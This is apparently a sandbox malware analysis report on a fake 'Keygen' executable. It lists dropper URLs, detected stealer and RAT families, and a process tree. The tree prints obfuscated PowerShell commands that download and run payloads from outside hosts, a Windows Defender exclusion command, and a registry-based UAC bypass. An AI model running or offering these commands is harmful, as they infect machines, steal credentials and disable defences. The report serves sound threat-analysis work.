Overview

overview

10

Static

static

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

8

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...en.exe

windows7_x64

10

201001-nyh...en.exe

windows10_x64

10

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

201001-e45lwcxsnn 10

01-10-2020 20:51

201001-fhxddb9gwe 10

01-10-2020 20:51

201001-ts8hns28ea 10

01-10-2020 20:51

201001-v1kt3kgljx 10

01-10-2020 20:51

201001-d2fbtjzv4s 10

01-10-2020 20:51

201001-cgj9prs442 10

01-10-2020 20:49

201001-t1jnpvwcgx 10

Analysis

  • max time kernel
    153s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    01-10-2020 20:51

General

  • Target

    201001-nyhbt4p25j_pw_infected/Keygen — копия (105) — копия.exe

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note
[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 02:32:08 GMT Bot_ID: 750D7400-3B08-415E-A8B0-2695D81425F5_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 0 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: UCQFZDUI - Username: Admin - Windows version: NT 6.1 - Product name: Windows 7 Professional - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 2047 MB (455 MB used) - Screen resolution: 1280x720 - Display devices: 0) Standard VGA Graphics Adapter ============

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon log file 1 IoCs

    Detects a log file produced by the Raccoon Stealer.

  • ModiLoader First Stage 3 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 50 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (105) — копия.exe
    "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (105) — копия.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\DB7.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (105) — ?????.exe""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Users\Admin\AppData\Local\Temp\DB7.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1944
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\m.hta"
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1456
          • C:\Users\Public\ujb.exe
            "C:\Users\Public\ujb.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            PID:2380
            • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
              "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:2452
              • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:2528
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 2528 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\007166911245183\\* & exit
                  8⤵
                    PID:2908
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 2528
                      9⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1260
              • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of SetWindowsHookEx
                PID:2496
                • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                  "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:2740
              • C:\Users\Public\ujb.exe
                "C:\Users\Public\ujb.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops desktop.ini file(s)
                • Modifies system certificate store
                PID:2548
                • C:\Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe
                  "C:\Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1604
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                    "Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe"'
                    8⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1996
                • C:\Users\Admin\AppData\Local\Temp\BNXdjkylfc.exe
                  "C:\Users\Admin\AppData\Local\Temp\BNXdjkylfc.exe"
                  7⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:2344
                  • C:\Windows\SysWOW64\Notepad.exe
                    "C:\Windows\System32\Notepad.exe"
                    8⤵
                      PID:1260
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c C:\Users\Public\Natso.bat
                        9⤵
                          PID:2724
                          • C:\Windows\SysWOW64\reg.exe
                            reg delete hkcu\Environment /v windir /f
                            10⤵
                            • Modifies registry key
                            PID:2264
                          • C:\Windows\SysWOW64\reg.exe
                            reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
                            10⤵
                            • Modifies registry key
                            PID:624
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
                            10⤵
                              PID:368
                            • C:\Windows\SysWOW64\reg.exe
                              reg delete hkcu\Environment /v windir /f
                              10⤵
                              • Modifies registry key
                              PID:1600
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c C:\Users\Public\Natso.bat
                            9⤵
                              PID:660
                          • C:\Program Files (x86)\internet explorer\ieinstal.exe
                            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                            8⤵
                              PID:2088
                          • C:\Users\Admin\AppData\Local\Temp\IvKAuFcE0P.exe
                            "C:\Users\Admin\AppData\Local\Temp\IvKAuFcE0P.exe"
                            7⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of SetWindowsHookEx
                            PID:2688
                            • \??\c:\windows\SysWOW64\cmstp.exe
                              "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ehsixfhm.inf
                              8⤵
                                PID:2744
                            • C:\Users\Admin\AppData\Local\Temp\9zNnaH8qbc.exe
                              "C:\Users\Admin\AppData\Local\Temp\9zNnaH8qbc.exe"
                              7⤵
                              • Executes dropped EXE
                              • Windows security modification
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2580
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "powershell" Get-MpPreference -verbose
                                8⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1264
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\ujb.exe"
                              7⤵
                                PID:2432
                                • C:\Windows\SysWOW64\timeout.exe
                                  timeout /T 10 /NOBREAK
                                  8⤵
                                  • Delays execution with timeout.exe
                                  PID:2544
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\DB7.tmp\m1.hta"
                        3⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of WriteProcessMemory
                        PID:672
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:936
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 1
                        3⤵
                        • Delays execution with timeout.exe
                        PID:560
                      • C:\Windows\SysWOW64\mshta.exe
